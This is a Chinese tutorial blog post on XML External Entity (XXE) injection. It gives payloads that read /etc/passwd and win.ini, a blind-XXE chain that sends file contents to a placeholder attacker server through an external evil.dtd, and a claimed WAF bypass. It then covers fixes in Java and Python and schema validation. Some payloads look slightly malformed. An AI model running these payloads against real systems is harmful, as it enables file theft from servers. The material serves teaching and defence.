news 2026/4/15 10:35:16

深入剖析 XXE 漏洞及其修复思路

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深入剖析 XXE 漏洞及其修复思路

目录

深入剖析 XXE 漏洞及其修复思路

一、XXE 漏洞是什么

二、XXE 漏洞的利用

(一)有回显的 XXE 漏洞利用

(二)无回显的 XXE 漏洞利用

三、XXE 漏洞修复思路

(一)禁用外部实体

(二)严格验证输入

(三)升级解析库版本


在网络安全领域,XXE(XML External Entity Injection)漏洞一直是一个不可忽视的安全隐患。今天,我们就来深入探讨一下 XXE 漏洞是什么、如何利用它以及最重要的,怎么修复它来保障系统安全。

一、XXE 漏洞是什么

XXE 漏洞通常发生在应用程序解析 XML 输入时。当应用程序没有禁止外部实体的加载,攻击者就可以利用这一漏洞,通过构造恶意的外部实体,获取服务器中本应被保护的数据。

产生 XXE 漏洞的原因主要在于文档类型定义(DTD)部分可以引用外部 DTD 文件,而且 XML 解析器解析外部实体时支持多种协议,比如file协议可读取本地文件内容,http协议能获取外部资源等。这就为攻击者打开了方便之门,他们构造的恶意 XML 文件一旦被解析器解析,就会触发漏洞。

二、XXE 漏洞的利用

(一)有回显的 XXE 漏洞利用
  1. 本地文件读取
    • 利用file协议直接读取本地文件,例如在 XML 中定义外部实体:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
  • 如果是 PHP 程序,还可以使用 PHP 伪协议读取文件流,像这样:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root>&xxe;</root>
  • 当读取的文件包含特殊符号时,就需要借助sedate(这里文档表述不太准确,推测是类似处理方式),并结合外部参数实体来处理。同时要注意,有些 XML 解析库支持列目录,攻击者可借此获取更多敏感信息。
  1. 漏洞检测与利用演示
    假设我们找到了一个接受 XML 输入的端点,比如某个登录接口。原本数据传输可能使用 JSON 格式,我们可以尝试将 HTTP 请求方法改为POST,并把Content-Type字段修改为application/xml。然后构造如下 XML 数据:
<!DOCTYPE root [ <!ENTITY test "hello"> ]> <root>&test;</root>

如果服务器能成功解析并回显hello,就说明该端点可能存在 XXE 漏洞。接着,我们可以进一步尝试利用外部实体读取文件,例如:

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <root>&xxe;</root>

若服务器回显了文件内容,那就证明存在 XXE 漏洞且可利用。

(二)无回显的 XXE 漏洞利用

无回显的 XXE 漏洞,又称为Blind XXE,利用起来相对复杂。因为服务器处理 XML 数据后不会回显,我们无法直接获取数据。这时,就需要借助外带数据通道来提取数据。

  1. 利用思路
    • 首先定义一个实体,使用file协议请求本地文件内容,比如:
<!ENTITY % file SYSTEM "file:///etc/passwd">
  • 再定义另外一个参数实体,将读取的文件内容作为 URL 的一部分,请求本地监听的端口。像这样:
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your_server_ip:port/?a=%file;'>">
  • 然后通过外部 DTD 方式,将内部参数实体的内容与外部 DTD 声明的实体内容拼接起来。这里要注意参数实体的嵌套和引用顺序,因为同级参数实体内容几乎不会被 XML 解析器解析。例如:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://your_server_ip:port/?a=%file;'>"> %start; %send;
  • 最后在 XML 文档中引用相关实体,启动本地监听端口(如使用python -m http.server 8998启动 HTTP 服务监听 8998 端口),若能在监听端口接收到包含文件内容的请求,就成功利用了漏洞。
  1. 绕过 WAF 的方法
    有时候直接使用常规方式会被 WAF 拦截,我们可以尝试一些绕过技巧。比如,将 DTD 直接放在DOCTYPE中,不使用ENTITY关键字,像这样:
<!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % trick SYSTEM "http://your_server_ip/evil.dtd"> %trick; %send; ]> <root>&int;</root>

evil.dtd文件中定义:

<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your_server_ip:port/?a=%file;'>"> %payload;

通过这种方式,有可能绕过一些 WAF 的检测。

三、XXE 漏洞修复思路

(一)禁用外部实体

在 XML 解析器中,直接禁用外部实体的加载是最直接有效的修复方法。不同的编程语言和 XML 解析库有不同的设置方式。

  1. Java
    在 Java 中使用DocumentBuilderFactory时,可以通过如下代码禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  1. Python
    使用lxml库时,可以这样设置:
from lxml import etree parser = etree.XMLParser(resolve_entities=False) xml_data = '<xml>...</xml>' # 实际的XML数据 tree = etree.fromstring(xml_data, parser)
(二)严格验证输入

对所有 XML 输入进行严格的验证,确保输入内容不包含恶意的外部实体声明。可以使用 XML Schema 或 Relax NG 等技术定义 XML 的结构和约束,验证输入的 XML 是否符合规范。
例如,使用 XML Schema 定义一个简单的 XML 结构:

<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="data" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>

然后在解析 XML 时,根据这个 Schema 进行验证:

import javax.xml.XMLConstants; import javax.xml.transform.stream.StreamSource; import javax.xml.validation.Schema; import javax.xml.validation.SchemaFactory; import javax.xml.validation.Validator; import org.xml.sax.SAXException; import java.io.File; import java.io.IOException; public class XMLValidator { public static void main(String[] args) { try { SchemaFactory factory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = factory.newSchema(new File("your_schema.xsd")); Validator validator = schema.newValidator(); validator.validate(new StreamSource(new File("your_xml.xml"))); System.out.println("XML is valid."); } catch (SAXException | IOException e) { System.out.println("XML is invalid: " + e.getMessage()); } } }
(三)升级解析库版本

及时升级 XML 解析库到最新版本,因为新版本通常会修复已知的安全漏洞,包括 XXE 漏洞相关的问题。开发人员要关注解析库的更新动态,及时进行升级。

XXE 漏洞虽然隐蔽且具有一定的危害性,但只要我们深入了解其原理,掌握正确的利用和修复方法,就能有效防范这一漏洞,保障系统的安全稳定运行。希望大家通过这篇博客,对 XXE 漏洞有更清晰的认识,并能在实际开发和安全防护工作中加以运用。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 10:33:41

AI如何助力等保测评自动化?快马平台实战解析

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 开发一个等保测评辅助工具&#xff0c;主要功能包括&#xff1a;1. 自动扫描系统漏洞并生成报告 2. 检查系统配置是否符合等保要求 3. 生成合规性评估文档 4. 提供整改建议。使用P…

作者头像 李华
网站建设 2026/4/15 10:33:38

SIMPLE LIVE实战:如何用AI搭建电商直播系统

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 开发一个电商直播系统&#xff0c;基于SIMPLE LIVE理念&#xff0c;包含&#xff1a;1. 商品展示区与直播视频同屏显示 2. 一键购买功能 3. 实时问答互动 4. 观看人数统计 5. 直播…

作者头像 李华
网站建设 2026/4/9 11:09:35

揭秘!5种正规中药材原料,养生达人的必备清单!

【中药材原料哪家好】&#xff1a;专业深度测评排名前五开篇&#xff1a;定下基调随着中医药行业快速发展&#xff0c;中药材原料的品质与供应链稳定性成为企业竞争的核心。本次测评聚焦中药材原料供应商&#xff0c;以成本控制、全产业链覆盖、绿色安全为核心标准&#xff0c;…

作者头像 李华
网站建设 2026/4/13 2:42:00

Sambert-HifiGan语音风格迁移:如何模仿特定说话风格

Sambert-HifiGan语音风格迁移&#xff1a;如何模仿特定说话风格 引言&#xff1a;中文多情感语音合成的技术演进与需求背景 随着智能语音助手、虚拟主播、有声读物等应用的普及&#xff0c;传统“机械化”语音合成已无法满足用户对自然度和表现力的需求。尤其是在中文场景下&am…

作者头像 李华
网站建设 2026/4/9 20:55:29

手把手教你在Linux部署Sambert-Hifigan:从镜像拉取到API调用全流程

手把手教你在Linux部署Sambert-Hifigan&#xff1a;从镜像拉取到API调用全流程 &#x1f4cc; 引言&#xff1a;为什么需要本地化语音合成服务&#xff1f; 随着AIGC技术的快速发展&#xff0c;高质量语音合成&#xff08;TTS&#xff09; 在智能客服、有声读物、虚拟主播等场…

作者头像 李华
网站建设 2026/4/8 20:37:16

用AI实现跨设备鼠标共享:MouseWithoutBorders替代方案

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 开发一个基于AI的跨设备控制工具&#xff0c;能够自动识别局域网内的多台电脑设备&#xff0c;通过机器学习预测用户操作意图&#xff0c;实现鼠标、键盘和剪贴板的无缝共享。要求…

作者头像 李华